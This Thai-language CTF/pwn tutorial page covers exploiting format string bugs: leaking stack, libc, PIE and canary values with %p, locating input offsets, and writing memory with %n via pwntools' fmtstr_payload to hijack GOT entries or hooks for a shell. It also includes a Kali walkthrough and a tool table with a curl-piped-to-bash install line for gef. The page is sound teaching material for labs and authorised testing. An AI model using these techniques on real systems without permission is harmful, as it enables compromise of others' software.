คลัง
pwn

Format String

Format String เกิดเมื่อโปรแกรมส่ง user input เข้า printf family เป็น format string โดยตรง — ทำให้อ่าน memory (leak stack/libc/canary) และเขียน memory (%n) ได้ เป็นช่องโหว่ทรงพลังที่ทั้ง leak เพื่อ bypass ASLR/PIE/canary และทำ arbitrary write บทนี้ลงลึกทั้ง leak และ write พร้อมการหา offset และ fmtstr_payload (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#format-string#pwn#printf#leak#arbitrary-write#fmtstr#ctf

1. หลักการ — ทำไมเกิดช่องโหว่

printf ใช้ format specifier (%s, %d, %x) เพื่อรู้ว่าจะอ่าน argument อย่างไร เมื่อโปรแกรมเขียน printf(user_input) โดยไม่มี format ของตัวเอง (แทนที่จะเป็น printf("%s", user_input)) — ถ้า input มี specifier เช่น %x %p printf จะไปอ่านค่าจาก register/stack ตามตำแหน่ง argument ที่ไม่มีอยู่จริง ทำให้ leak ค่าใน memory ออกมา และ %n ที่เขียนจำนวนตัวอักษรลง address ทำให้เขียน memory ได้

บน x86-64 argument 6 ตัวแรกอยู่ใน register (RDI RSI RDX RCX R8 R9) — RDI คือ format string เอง ดังนั้น %p ตัวที่ 1-5 จะอ่าน RSI RDX RCX R8 R9 และตัวที่ 6 เป็นต้นไปจะเริ่มอ่านจาก stack

เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) — การโจมตีระบบจริงโดยไม่ได้รับอนุญาตผิดกฎหมาย

2. Leak memory ด้วย %p

อ่านค่าจาก stack/registerLinux
# ส่ง %p ซ้ำๆ ดูค่าที่ leak ออกมา
./vuln
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

# ใช้ตำแหน่งระบุได้ (positional) — %N$p อ่าน argument ตัวที่ N
%6$p           # อ่าน argument ตัวที่ 6 (เริ่มจาก stack)

# leak อะไรได้บ้าง:
#  - libc address (return addr บน stack) → คำนวณ libc base → bypass ASLR
#  - PIE base (code address บน stack) → bypass PIE
#  - stack canary (ค่าแปลกๆ ลงท้าย 00) → bypass canary
%p อ่านเป็น pointer (hex); ค่าที่ลงท้าย 00 และดูสุ่ม = น่าจะเป็น canary; ค่าใกล้ libc/binary = address ที่ leak ได้

3. หา offset ของ input เราใน stack

ก่อนทำ arbitrary write ต้องรู้ว่า input string ของเราอยู่ตำแหน่งที่เท่าไหร่ใน argument — ส่ง marker ที่จำง่าย (AAAA หรือ 0x41) ตามด้วย %p ไล่ จนเห็น marker นั้น

หา offset ด้วย markerLinux
# ส่ง AAAAAAAA ตามด้วย %p ไล่ตำแหน่ง
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# ถ้าตำแหน่งที่ 6 คืน 0x4141414141414141 = input เราอยู่ offset 6

# pwntools หา offset อัตโนมัติ
python3 << 'PY'
from pwn import *
def leak(payload):
    p = process('./vuln'); p.sendline(payload); return p.recvline()
fmt = FmtStr(execute_fmt=leak)
print("offset:", fmt.offset)
PY
offset นี้สำคัญมากสำหรับ arbitrary write — fmtstr_payload ต้องใช้

4. Arbitrary write ด้วย %n

%n เขียน 'จำนวนตัวอักษรที่ printf พิมพ์ไปแล้ว' ลงไปยัง address ที่ argument ชี้ — ควบคุมจำนวน (ด้วย width เช่น %100c) + ควบคุม address (วางใน input) = เขียนค่าที่ต้องการลง address ที่ต้องการ ตัวแปร: %hn เขียน 2 byte, %hhn เขียน 1 byte (ใช้เขียนทีละส่วนเลี่ยงการพิมพ์เยอะ)

arbitrary write ด้วย pwntools fmtstr_payloadLinux
from pwn import *
elf = context.binary = ELF('./vuln')

offset = 6                           # จาก section 3

# ตัวอย่าง: overwrite GOT ของ exit ให้ชี้ไป win
payload = fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})
# fmtstr_payload จัดการ %n หลายตัว + address ให้อัตโนมัติ

p = process('./vuln')
p.sendline(payload)
# เมื่อโปรแกรมเรียก exit() → กระโดดไป win แทน
p.interactive()
fmtstr_payload(offset, {target_addr: value}) สร้าง payload ให้อัตโนมัติ — ไม่ต้องคำนวณ %n เอง

5. เป้าหมายการเขียนที่นิยม

เป้าหมายผลหมายเหตุ
GOT entryเปลี่ยนปลายทางฟังก์ชัน libcต้อง Partial RELRO (ดู got-overwrite)
return addressredirect flow ตอน returnต้องรู้ address บน stack
__malloc_hook / __free_hookhijack ตอน malloc/freelibc เก่า (< 2.34)
exit handler / fini_arrayรันตอน exitทำงานตอนโปรแกรมจบ
ตัวแปร/flag checkเปลี่ยนค่าให้ผ่านเงื่อนไขเช่น auth=1

6. คอมโบ leak + write (bypass full mitigation)

format string ทรงพลังเพราะทำได้ทั้ง leak และ write ในช่องโหว่เดียว — workflow คลาสสิกเมื่อมี ASLR/PIE/canary ครบ:

  1. 1leak libc address (%p) → คำนวณ libc base (bypass ASLR)
  2. 2leak PIE base ถ้าจำเป็น (bypass PIE)
  3. 3leak canary ถ้ามี (เก็บไว้ใส่กลับ)
  4. 4หา offset ของ input (section 3)
  5. 5ใช้ fmtstr_payload เขียน GOT/hook ชี้ไป system หรือ one_gadget
  6. 6trigger → ได้ shell
ถ้า format string ใช้ได้หลายครั้ง (อยู่ใน loop) ง่ายมาก: leak รอบแรก, write รอบสอง; ถ้าใช้ได้ครั้งเดียว ต้องทำ leak+write ใน payload เดียว (ยากกว่า)

7. Quick Reference

  • เกิดจาก printf(user_input) ไม่มี format ของตัวเอง
  • leak: %p ซ้ำ หรือ %N$p (ตำแหน่ง N); leak libc/PIE/canary
  • หา offset input: AAAAAAAA.%p.%p... จนเห็น 0x4141...
  • write: %n (+width); %hn=2byte %hhn=1byte
  • pwntools: fmtstr_payload(offset, {addr: value})
  • เป้า write: GOT, return addr, __free_hook, exit handler
  • combo: leak (bypass ASLR/PIE/canary) + write → shell
  • ป้องกัน: printf("%s", input) เสมอ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอโปรแกรมที่รับ input แล้วพิมพ์กลับแบบแปลกๆ (สงสัยว่าอาจเป็น printf(user_input) ตรงๆ) — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อยืนยันช่องโหว่แล้ว leak/write

  1. 1ทดสอบง่ายๆ ก่อน: ป้อน %p %p %p %p %p หรือ %x.%x.%x.%x เข้าไป ถ้าเห็นค่า hex แปลกๆ ออกมา = มีช่องโหว่
  2. 2ลองรูปแบบระบุตำแหน่ง: %6$p อ่าน argument ตัวที่ 6 — ไล่เลข N ดูว่าตัวไหนน่าสนใจ
  3. 3หา offset ของ input ตัวเอง: ส่ง AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p จนเห็น 0x4141414141414141
  4. 4หรือใช้ pwntools อัตโนมัติ: fmt = FmtStr(execute_fmt=leak_fn); print(fmt.offset)
  5. 5leak ค่าที่ต้องการ: libc address (bypass ASLR), PIE base, canary (ลงท้าย 00)
  6. 6checksec ดูว่ามี Canary/PIE/RELRO อะไรบ้าง เพื่อรู้ว่าต้อง leak อะไรก่อน write
  7. 7ถ้าต้องการ arbitrary write เลือกเป้าหมาย เช่น GOT[exit] หรือ __free_hook
  8. 8สร้าง write payload: fmtstr_payload(offset, {target_addr: value})
  9. 9ส่ง payload แล้ว trigger ให้ target ถูกเรียก (เช่นให้โปรแกรม exit)
  10. 10ถ้าใช้ format string ได้แค่ครั้งเดียว ต้องทำ leak+write ในการยิงเดียว (ยากกว่า) — ลองดูว่ามี loop ให้ยิงซ้ำไหมก่อน
จับมือทำ: format string จาก leak ถึง write
ส่ง %p ซ้ำๆ ดูว่ามีช่องโหว่ไหม
✅ เห็นค่า hex/address หลุดออกมา→ ยืนยันช่องโหว่ ไปหา offset
❌ ไม่มีอะไรพิเศษ (แสดงตรงตัว)→ อาจไม่ใช่ format string bug ลองช่องโหว่อื่น
หา offset ของ input เราด้วย marker (AAAAAAAA + %p)
✅ เจอ offset ชัดเจน→ ตัดสินใจว่าจะ leak อะไรก่อน
❌ หาไม่เจอ/รูปแบบ input ซับซ้อน→ ลอง FmtStr(execute_fmt=...) ของ pwntools
checksec: มี Canary/PIE/ASLR อะไรต้อง leak ก่อน?
✅ มี Canary→ leak canary ด้วย %p ก่อนอื่น
✅ มี PIE→ leak code address ในตัว binary
✅ มี ASLR (libc)→ leak libc address
❌ ไม่มีอะไรกั้น→ ทำ arbitrary write ได้เลย
fmtstr_payload(offset, {target: value}) เขียน GOT/hook
✅ เขียนสำเร็จ + trigger แล้ว→ ได้ shell/flag
❌ เขียนไม่ถึง/format string ใช้ได้ครั้งเดียว→ ต้องทำ leak+write ในยิงเดียว หรือหาเป้าอื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ/ยิง payloadpwntools (process/remote)pip install pwntools-
หา offset อัตโนมัติpwntools FmtStr--
debug ดูค่าบน stackgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
ดู GOT entry เป้าหมายobjdump -R / readelf-dogbolt.org
แปลง/คำนวณ hex payloadpython3-CyberChef
ตรวจ checksec ก่อนเลือก leakchecksec--
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) got-overwrite — ถ้ามี write primitive แล้วแต่ยังไม่รู้จะเขียนเป้าไหนดี (2) pie/aslr — ถ้า leak มาแล้วต้องคำนวณ base ต่อ (3) buffer-overflow — ถ้าจริงๆ แล้วช่องโหว่หลักเป็น stack overflow ไม่ใช่ format string (4) heap-exploitation — ถ้า target ที่อยากเขียนอยู่ใน heap chunk ไม่ใช่ GOT

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้